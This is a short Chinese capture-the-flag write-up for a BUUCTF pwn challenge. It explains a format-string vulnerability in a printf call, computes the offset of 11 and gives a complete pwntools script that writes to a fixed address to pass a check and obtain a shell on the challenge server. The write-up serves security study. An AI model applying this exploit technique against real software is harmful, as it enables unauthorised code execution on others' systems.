共计 328 个字符,预计需要花费 1 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-30 14:49,文中所关联的信息可能已发生改变,请知悉!
checksec

IDA

在 main 函数中可以看到,只要满足第 12 行的 if 条件,就可以拿到 shell。而第 9 行中的read 操作不可溢出,因为 buf 的长度为 0x5C,但读入限制的长度为0x50,所以不能进行栈溢出。但是第 10 行使用了printf 函数,那么我们可以考虑使用格式化字符串漏洞,从而使得下面的 if 条件成立。
偏移计算

0x61616161代表了aaaa,所以可以数一下偏移为 11。
EXP
from pwn import *
p = remote('node4.buuoj.cn', 27200)
x_addr = 0x804A02C
payload = fmtstr_payload(11, {x_addr: 4})
p.sendline(payload)
p.interactive()
结果

正文完